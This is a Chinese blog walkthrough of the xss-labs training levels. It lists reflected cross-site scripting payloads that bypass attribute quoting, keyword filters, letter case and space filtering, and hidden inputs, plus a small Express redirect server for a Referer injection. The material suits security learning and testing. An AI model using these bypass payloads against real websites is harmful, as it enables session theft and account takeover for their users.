本文最后更新于 2025-04-20T12:17:30+08:00
1(零点击)
无难度,直接上payload
1
| level1.php?name=<script>alert(1)</script>
|
2(零点击)
h2标签经过了实体转义,但input没有
1 2 3 4 5 6 7 8 9
| <body> <h1 align=center>欢迎来到level2</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level2.php method=GET> <input name=keyword value="<script>alert(1)</script>"> <input type=submit name=submit value="搜索"/> </form> </center><center><img src=level2.png></center> <h3 align=center>payload的长度:25</h3></body>
|
构造payload闭合input执行代码:
1
| "><script>alert(1)</script>
|
3(零点击)
这次两个都经过了实体转义,但是input标签使用单引号
1 2 3 4 5 6 7 8 9
| <body> <h1 align=center>欢迎来到level3</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level3.php method=GET> <input name=keyword value='<script>alert(1)</script>'> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level3.png></center> <h3 align=center>payload的长度:25</h3></body>
|
构造payload闭合input执行代码:
1
| level3.php?keyword='onfocus='alert(1)'autofocus='
|
4(零点击)
过滤掉了尖括号,但是没有过滤引号
1 2 3 4 5 6 7 8 9
| <body> <h1 align=center>欢迎来到level4</h1> <h2 align=center>没有找到和<>"'相关的结果.</h2><center> <form action=level4.php method=GET> <input name=keyword value=""'"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level4.png></center> <h3 align=center>payload的长度:2</h3></body>
|
构造payload闭合input执行代码:
1
| level4.php?keyword="onfocus="alert(1)"autofocus="
|
5(零点击)
先用最简单的payload测试一下,发现script文本替换为了scr_ipt
1 2 3 4 5 6 7 8 9
| <body> <h1 align=center>欢迎来到level5</h1> <h2 align=center>没有找到和<script>相关的结果.</h2><center> <form action=level5.php method=GET> <input name=keyword value="<scr_ipt>"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level5.png></center> <h3 align=center>payload的长度:9</h3></body>
|
构造img发现on也被替换了
1
| "><img src=0 onerror='alert(1)'/>
|
1 2 3 4 5 6 7 8 9
| <body> <h1 align=center>欢迎来到level5</h1> <h2 align=center>没有找到和"><img src=0 onerror='alert(1)'/>相关的结果.</h2><center> <form action=level5.php method=GET> <input name=keyword value=""><img src=0 o_nerror='alert(1)'/>"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level5.png></center> <h3 align=center>payload的长度:34</h3></body>
|
但是src没被替换,所以构造iframe搭配javascript伪协议执行代码:
1
| level5.php?keyword="><iframe src="javascript:alert(1)" />
|
6(零点击)
输入on
,发现被替换为了o_n
,输入On
,没有替换
很简单的大小写绕过,构造payload:
1
| level6.php?keyword="><Script>alert(1)</Script>
|
7(零点击)
随便输了几个关键词后发现大小写绕过行不通
这次不再是关键词加下划线过滤,而是直接清空,那就可能存在双写绕过
构造payload:
1
| level7.php?keyword="><scrscriptipt>alert(1)</scrscriptipt>
|
8
大小写绕过和双写绕过都不行,且经过了实体转义,javascript伪协议同样被过滤
构造payload转义绕过:
1
| javascript:alert(1)
|
9
随便输入几个字符串模糊测试一下发现只有包含http://
的才是合法链接
但是吧,并不判断位置,也就是说,http://
哪怕在字符串末尾出现同样也是合法链接
构造payload,将http://
放到最后面,并加上//
将其注释掉避免影响代码执行
1
| javascript:alert(1)
|
10(零点击)
代码中存在3个隐藏的input标签,且只有t_sort可以进行反射,但是过滤了尖括号
1 2 3
| <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden">
|
这一题的核心点是如何处理标签的hidden属性,autofocus好像在hidden标签中不生效
构造payload,在前面再写个type,尝试覆盖掉后面的hidden
1
| level10.php?t_sort="type="text"onfocus="alert(1)"autofocus="
|
11(零点击)
和上一关一样,同样的隐藏标签,且只有t_sort可以进行反射,但是经过了实体转义
1 2 3 4
| <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden"> <input name="t_ref" value="" type="hidden">
|
t_sort无法攻击,那就考虑t_ref的referer头注入
但是因为安全原因,浏览器不允许前端自定义referer头,手动修改请求包的referer头终究只是self-xss,无任何意义
所以,修改代码(不修改代码此题无解,因为referer头中的双引号会被转义),将t_ref的双引号改为单引号
1
| <input name="t_ref" value=\''.$str33.'\' type="hidden">
|
编写一个后端跳转代码(什么语言都行,这里用nodejs+express)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| const express = require('express'); const app = express();
app.get('*', (req, res) => { console.log(req.originalUrl); res.set('Referrer-Policy', 'unsafe-url'); res.send(` <!DOCTYPE html> <html> <head> <script> window.location.href = 'http://192.168.235.128/level11.php'; </script> </head> <body></body> </html> `); });
const PORT = 80; app.listen(PORT, () => { console.log(`服务器运行在 http://localhost:${PORT}`); });
|
访问payload地址,跳转,代码执行
1
| http://localhost/'type='text'onfocus='alert(1)'autofocus='
|
12(self-xss)
UA注入,self-xss,无意义低风险(如果攻击者能通过社会工程学诱导用户修改UA,那为什么不直接诱导用户执行代码呢),不写了
13(self-xss)
cookie注入,self-xss,无意义低风险,不写了
14
网站已死,现在访问只能进入一个申必APT组织搭建的钓鱼网站然后下载一个申必圆孔木马,,,
据推测是exif xss注入,用户上传图片并在前端展示exif信息,和上面的大差不差,常规的标签闭合注入
15(零点击)
AngularJS
的ng-include
导致的漏洞
这不是AngularJS
的漏洞,仅仅是ng-include
加载了一个带有xss漏洞的其他界面
上面带xss漏洞的页面随便选一个,使用ng-include
加载进来就行。但是需要注意的是,使用ng-include
包含文件时,不会执行<script>
标签,所以应构造其他非<script>
的payload执行代码
1
| level15.php?src='level1.php?name=<img src=0 onerror=alert(1)>'
|
16(零点击)
关键词过滤,替换为 ,不存在大小写绕过,双写绕过,且空格也被过滤
使用换行绕过,html对换行不敏感,在标签内换行也是可以的
1
| level16.php?keyword=<img%0asrc=0%0aonerror=alert(1)>
|
17(零点击)
最简单的一集,甚至不需要考虑闭合
只需要移动鼠标就能触发,也算零点击罢(汗
1
| level17.php?arg01=a&arg02=b%20onmousemove=alert(1)
|
18(零点击)
和上面一模一样
1
| level18.php?arg01=a&arg02=b%20onmousemove=alert(1)
|
19
涉及到flash逆向,没有flash,做不了
20
同上